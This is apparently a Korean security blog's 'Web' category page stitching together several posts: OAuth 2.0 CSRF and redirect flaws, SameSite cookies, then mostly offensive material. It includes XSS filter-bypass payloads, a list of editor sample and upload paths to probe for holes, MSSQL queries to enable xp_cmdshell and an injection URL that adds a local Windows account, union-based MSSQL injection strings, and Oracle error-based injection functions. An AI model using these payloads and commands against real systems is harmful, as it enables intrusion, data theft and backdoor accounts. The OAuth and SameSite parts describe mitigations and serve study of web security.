OAuth?

OAuth는 제 3의 앱이 자원의 소유자인 서비스 이용자를 대신하여 서비스를 요청할 수 있도록 자원 접근 권한을 위임하는 방법을 말합니다.

쉽게 말하면, 특정 사이트에서 [카카오톡으로 로그인하기], [페이스북으로 로그인하기] 등 타 사이트를 이용해 로그인하는 방법을 자주 접할 수 있는데 타 사이트의 계정에 접근하기 위한 권한을 제어하는 표준 프로토콜을 의미합니다.

 

OAuth를 통해 로그인할 경우 카카오톡이나 페이스북이 아닌 제 3의 사이트는 카카오톡, 페이스북의 계정 정보를 요구할 필요가 없이 Access Token을 통해 접근하므로 사용자 입장에서도 계정 정보가 유출될 위험이 낮아집니다.

 

OAuth의 인증 프로세스는 다음과 같습니다.

payco oauth2.0

OAuth 2.0의 보안 취약점 (CSRF, Convert Redirect) 

 

1) CSRF를 통한 계정 탈취

OAuth를 통해 계정 연동을 진행할 경우 다음과 같은 다음과 유사한 프로세스를 거치게 됩니다.

 

1. 기존 계정과 SNS 계정 연동 요청
2. 요청 SNS 로그인 페이지 출력 (Client ID 값이 포함된 로그인 페이지)
3. ID/PW 를 통해 SNS 계정에 로그인
4. 로그인 성공 시 인증 서버로부터 Authorization code를 발급 받음 (Authentication Server -> 사용자)
5. 발급 받은 code 값과 state 값을 Client 서버로 전송 (사용자 -> Client Server) 6. code 값과 state 값 검증 후 Client 서버에 로그인 되어있는 계정과 SNS 계정이 연동됨

 

이 때 state값은 CSRF token과 같은 역할을 하기 때문에 검증이 미흡할 경우 CSRF 공격을 통해 공격자의 계정으로 연동하는 등의 악의적인 행위가 발생할 수 있습니다. (공격자 SNS 계정으로 접속할 경우 피해자의 계정으로 로그인)

 

대응 방안

state값은 CSRF token과 동일한 역할을 수행하므로, 요청받은 state에 대해 검증을 수행해야 하고 토큰의 유출 및 악용 방지를 위해 유효기간을 짧게 혹은 일회용으로 설정합니다. 

 

 

2) Convert Redirect

앞서 OAuth2.0 인증 프로세스 중, 6. Redirect URL을 통해 로그인 성공 후 리다이렉션 되는 URL을 명시합니다.

따라서 Redirect URL에 대한 검증이 누락되면 해당 값 변조를 통해 임의의 사이트로 리다이렉션되어 계정 탈취와 같은 피해가 발생할 수 있습니다.

 

아래는 네이버 OAuth 요청 가이드 중 일부입니다.

naver oauth 요청 가이드

 

대응 방안

redirect_uri 파라미터에 대해 full path검증을 수행하여 의도하지 않은 페이지로 리다이렉션 되지 않도록 조치함

 

OAuth관련 공부하다가 재미난 자료가 있어 링크 삽입합니다.

간략한 내용은

1. redirect_url에 대해 자사 도메인인 경우 허용(full path 검증 x)

2. 자사 도메인 중, logout 페이지에서 로그아웃 후 referer 헤더값을 참조해 리다이렉션

3. logout 페이지 요청 시 referer에 공격자의 사이트로 접근 유도

www.hahwul.com/2019/06/28/oauth-chained-bugs-to-leak-oauth-token/

 

OAuth 과정에서 발생할 수 있는 재미있는 인증토큰 탈취 취약점(Chained Bugs to Leak Oauth Token) Review

Security engineer, Developer and H4cker

www.hahwul.com

 

[출처]

meetup.toast.com/posts/105

berrrrr.github.io/programming/2019/11/03/oauth2-vulnerability/

www.hahwul.com/2019/06/28/oauth-chained-bugs-to-leak-oauth-token/

금융보안원 OAuth2.0 개요 및 보안 고려사항.pdf

'Web' 카테고리의 다른 글

Same site (Cookie)  (0) 2021.03.29
marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01

SameSite?

웹사이트에서는 일반적으로 광고, 콘텐츠 추천, 서드 파티 위젯, 소셜 임베드 및 다른 기능을 위한 외부 서비스를 통합합니다. 웹을 탐색할 때 이러한 외부 서비스가 브라우저에 쿠키를 저장한 후 개인화된 환경을 제공하거나 고객 참여도를 측정하기 위해 해당 쿠키에 접근할 수 있도록 합니다.

SameSite는 브라우저가 사이트간 요청을 통해 쿠키를 보내지 못하게 하여 정보 유출, CSRF 공격에 대해 보호하기 위해 사용합니다.

HTTP/1.1 302 Found
Location: https://www.google.com/?gws_rd=ssl
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Tue, 30 Mar 2021 04:11:55 GMT
Server: gws
Content-Length: 231
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2021-03-30-04; expires=Thu, 29-Apr-2021 04:11:55 GMT; path=/; domain=.google.com; Secure; SameSite=none
Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="https://www.google.com/?gws_rd=ssl">here</A>.
</BODY></HTML>

google cookie

 

SameSite는 3가지 속성을 가지고 있으며, 각 속성별 의미는 다음과 같습니다.

 

SameSite=Strict 

서로 다른 도메인에 대해서 쿠키 전송 불가

 

SameSite=Lax

일부 예외를 제외하고 쿠키 전송 불가

 

SameSite=None; Secure;
서로 다른 도메인 및 동일 도메인 모두 쿠키 전송 가능

samesite=none으로 설정한 경우, secure 속성을 필수적으로 넣어줘야 함

 

※ Secure 

HTTPS 프로토콜에서만 쿠키가 전송되도록 설정함

 

SameSite 속성을 통해 CSRF를 차단할 수 있지만 필요한 다른 사이트로의 이동(ex. 소셜미디어 등)도 차단할 수 있어 사이트별 상황에 맞도록 사용해야합니다.

 

요청 타입별 쿠키 전송 여부

 

[출처]

jinn-blog.tistory.com/97

developers-kr.googleblog.com/2020/01/developers-get-ready-for-new.html

ifuwanna.tistory.com/223

 

'Web' 카테고리의 다른 글

OAuth 2.0  (1) 2021.03.31
marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01

marquee 태그를 이용하여 xss를 할 수 있습니다.

 

익스플로러에서만 사용가능한 글자나 이미지를 흘러가게 해주는 태그입니다. 

 

marquee태그는 생소하므로, < , > , " 등을 필터링 하지 않고, 문자열로 필터링하는 사이트에서 사용해봄직 하겠네요

 

실제로 보안솔루션에서도 필터링하지 않아 우회가 가능한 것 같습니다(?)

 

https://hackbyr0k.tistory.com/217

 

보안솔루션 우회 XSS Payload

솔루션 우회가 되는 XSS Payload 입니다. 허가 받지 않은 실서버(웹사이트)에 공격하는 것은 명백한 불법행위이며, 형사 처벌을 받을 수도 있다는 것을 알려드립니다.(블로거는 책임 없음) 자신이 공격한 로그는..

hackbyr0k.tistory.com

marquee태그 설명 및 공격 방법

 

https://pjongy.tistory.com/89

 

XSS

XSS Cross Site Script의 약자이다. 웹 표준이 Javascript이기 때문에 JS를 이용하여 공격한다. 기본적으로 자바스크립트의 문법은 <..

pjongy.tistory.com

marquee xss ex)

 

<marquee onstart=alert('xss') direction=right></marquee>

 

추가적으로 검색하다가 XSS관련하여 좋은 사이트가 있어서 공유합니다.

 

https://seunit.tistory.com/9

 

XSS Tricks, 웹 해킹 기법 정리

♣ Event Handler Filtering

seunit.tistory.com

<svg </onload="1>alert(1)""> 와 같이 /앞에 문자열이 들어가는 경우 정상적인 이벤트 핸들러로 인지한다고 합니다.

<style/onload=alert(1)>처럼 쓸 수 있다고 하네요

 

또한, details 태그를 이용해서 <deTAILS/open/onToGgle=a=prompt,a(1) x>와 같이 사용이 가능하다고 하네요~

 

추가적으로 알게되는 유용한 XSS 스크립트 계속 업데이트 예정..

'Web' 카테고리의 다른 글

OAuth 2.0  (1) 2021.03.31
Same site (Cookie)  (0) 2021.03.29
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01

에디터를 사용할 때, 설치 후 샘플페이지 및 주요취약점이 발생하는 페이지를 삭제하지 않고 사용할 경우 해당 경로를 통해 취약점이 발생합니다.


아래는 대표적으로 취약점이 발생하는 경로입니다.


CHEditor 

 /editor/popup/image.html

 /cheditor/

 /core/editor/

 /board/cheditor/

 /js/cheditor/

 /cheditor4/

 /ko/cheditor4/

 /cheditor5/

 /cheditor/example/newpost.html
 /cheditor/example/modifiy.html
 /cheditor/example/multi.html
 /cheditor/imageUpload/upload.jsp

 CKEditor

 /ckeditor/
 /ckfinder/
 /ckfinder/ckfinder.html
 ckeditor/upload.jsp
 /ckeditor/_samples/

 /ckeditor/samples/

 /ckeditor/_samples/index.html
 /ckeditor/samples/index.html
 /skins/ckeditor/

 /_sys/_plugin/cke

 Namo CrossEditor

/namo/ 
 /namo/index.html
 /namo/manage/index.html
 /crosseditor/

 /crosseditor/manager/

 /crosseditor/index.html
 /crosseditor/manage/index.html
 /crosseditor/manage/jsp/manager_setting.jsp
 /crosseditor/binary/upload/devshell.jsp
 /crosseditor/binary/upload/cmd.jspx
 /resources/crosseditor/
 /resources/crosseditor/index.html
 /resources/component/crosseditor/index.html

 DaumEditor

 /daumeditor/
 /_moduel/daumeditor/
 /daumeditor/editor.html

 dext5Editor

/DEXTUpload/ 

 /dext5/
 /dext5upload/
 /dext5upload/sample/
 /com/dext5upload/
 /dext5upload/sample/index.html
 /dext5Upload/sample/html/sample_upload.html
 /dext5editor/admin/jsp/login.jsp
 /dext5editor/admin/jsp/uploader_setting.jsp
 /samples/index.html
 /aspupload/
 /aspupload/file_upload.html

 FCKEditor

 /fck/editor/
 /FCKeditor/
 /js/fckeditor/
 /feditor/editor/fckeditor.html
 /fckeditor/editor/filemanager/browser/default/browser.html
 /fckeditor/editor/filemanager/connectors/test.html
 /fckeditor/editor/filemanager/connectors/uploadtest.html
 /editor/filemanager/browser/default/browser.html
 /editor/editor/filemanager/browser/default/browser.html
 /HtmlEditor/_samples/default.html

 SmartEditor

 /js/se2/SmartEditor2.html
 /nse/SmartEditor2.html
 /SmartEditor2.html
 /SmartEditorBasic/
 /SmartEditor2/
 /SmartEditorBasic/SEditorDemo.html
 /SEditor/popup/quick_photo/imgupload.jsp
 /smarteditor/photo_uploader/popup/file_uploader_html5.php
 /SE2/photo_uploader/popup/file_uploader_html5.php
 /smarteditor2/photo_uploader/popup/file_uploader_html5.php
 /smarteditor/popup/quick_photo/FileUploader_html5.php
 /plugin/smarteditor2/photo_uploader/popup/file_uploader_html5.php


'Web' 카테고리의 다른 글

Same site (Cookie)  (0) 2021.03.29
marquee onstart xss & XSS 기법  (0) 2019.05.10
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01
MSSQL Injection  (0) 2018.09.20

xp_cmdshell이란 mssql에서 운영체제 명령을 실행할 수 있도록하는 함수입니다.


mssql DB를 사용하는 페이지에서 SQL Injection이 발생할 경우 xp_cmdshell을 이용해 cmd명령을 실행할 수 있습니다.


다음쿼리를 이용해서 xp_cmdshell이 활성화 되어 있는지 확인할 수 있습니다.


SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'

Value Column : 1 (활성화)

  0 (비활성화)


만약, xp_cmdshell이 비활성화되어 있다면 다음과 같은 쿼리를 이용해서 활성화시킬 수 있습니다.


EXEC sp_configure 'show advanced options', 1

GO


RECONFIGURE

GO


EXEC sp_configure 'xp_cmdshell', 1

GO


RECONFIGURE

GO


다시 비활성화하려면


EXEC sp_configure 'xp_cmdshell', 0

GO


RECONFIGURE

GO


EXEC sp_configure 'show advanced options', 0

GO


RECONFIGURE

GO


다음과 같이 입력해주면 됩니다.


대부분 xp_cmdshell이 가능할 경우 임의의 로컬계정을 생성하여 원격데스크탑접속을 시도하는 경우가 많으면 로컬계정을 생성하는 쿼리는 다음과 같습니다.


EXEC xp_cmdshell 'net user ID PW /add'


http://test.com?test=test';EXEC xp_cmdshell 'net user test test /add'--




'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
MSSQL Limit 기능 구현  (0) 2018.10.01
MSSQL Injection  (0) 2018.09.20
Oracle Error based injection  (0) 2018.08.23

MSSQL에서 MYSQL의 limit와 같은 기능을 사용하려면 다음과 같은 구문을 사용하면 됩니다.


OFFSET (시작하고자 하는 index) ROWS FETCH NEXT (출력하고자 하는 갯수) ROWS ONLY


OFFSET ? ROWS FETCH NEXT ? ROWS ONLY 구문을 사용하기 위해서는 order by 구문과 같이 사용해야 합니다.


http://test.com?mode=list&year1=2018&mon1=09&day1=18&year2=2018&mon2=09&day2=20' and 1=2 union select 1,2,table_name,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name=(select table_name from information_schema.tables order by table_name OFFSET 3 ROWS FETCH NEXT 1 ROWS ONLY)--

다음과 같이 order by절 뒤에 OFFSET구문이 들어갑니다.

'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Injection  (0) 2018.09.20
Oracle Error based injection  (0) 2018.08.23


Table 조회

and 1=2 union select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables--


Column 조회

and 1=2 union select 1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name='table'--


http://raijee1337.blogspot.com/2015/07/mssql-union-based-injection-step-by.html

'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01
Oracle Error based injection  (0) 2018.08.23

Oracle 인젝션 중, Error based injection입니다.


흔히 Oracle DB의 utl_inaddr.get_host_address함수를 이용해서 Error Based Injection공격을 수행하는데요


11g 버전부터는 관리자가 직접 ACL설정을 풀어줘야만 해당함수가 작동한다고 합니다.


조금 검색해보니 역시 utl_inaddr.get_host_address함수를 사용하지 않고 인젝션이 가능한 함수가 나오네요


출처1 : http://blog.red-database-security.com/2009/01/17/tutorial-oracle-sql-injection-in-webapps-part-i/

출처2 : http://n3015m.tistory.com/148


CTXSYS.DRITHSX.SN / ORDSYS.ORD_DICOM.GETMAPPINGXPATH 함수를 이용합니다.


select * from board where idx=43 or 1=ordsys.ord_dicom.getmappingxpath((에러 인젝션을 통해 출력하고 싶은 쿼리문),user,user);



select * from board where idx=43 or 1=ctxsys.drithsx.sn(1,(에러 인젝션을 통해 출력하고 싶은 쿼리문))--


추가적으로 Oracle에서 ACL설정을 주고자 할때는 다음 스크립트를 입력하면 됩니다:)


begin

DBMS_NETWORK_ACL_ADMIN.CREATE_ACL(

acl => 'network_services.xml',

description => 'NETWORK ACL',

principal => 'PUBLIC',

is_grant => true,

privilege => 'connect');

end;


DBMS_NETWORK_ACL_ADMIN.ADD_PRIVILEGE(

acl => 'network_services.xml',

principal => 'PUBLIC',

is_grant => true,

privilege => 'resolve');

DBMS_NETWORK_ACL_ADMIN.ASSIGN_ACL(

acl => 'network_services.xml',

host => '*');


commit;

end;

/


'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01
MSSQL Injection  (0) 2018.09.20

+ Recent posts